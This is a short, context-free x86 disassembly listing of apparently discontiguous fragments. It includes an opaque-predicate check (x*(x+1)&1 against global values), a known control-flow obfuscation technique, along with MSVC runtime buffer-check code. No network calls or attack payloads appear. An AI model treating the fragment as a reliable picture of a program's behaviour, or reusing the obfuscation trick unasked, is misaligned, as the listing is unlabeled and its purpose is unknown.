call fcn.0040dc77
add esp, 8
lea ebx, [ebp + 8]
mov edx, dword [0x42e264]
mov eax, dword [0x42e260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x40220d
test ecx, ecx
je 0x40220d
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 0x14]
cmp eax, 0x10
jb 0x402a22
mov ecx, dword [ecx]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x402a12
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402ab5
add eax, 0x24
mov ebx, eax
mov ecx, edx
jmp 0x402a12
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop dword [eax + eax]
push ebp
sub esp, 0x24
lea esi, [ebp - 0xbc]
mov ebp, dword [esi + 0xa8]
mov ecx, dword [esi + 0xc]
call fcn.004014d0
add esp, 0x24
pop ebp
ret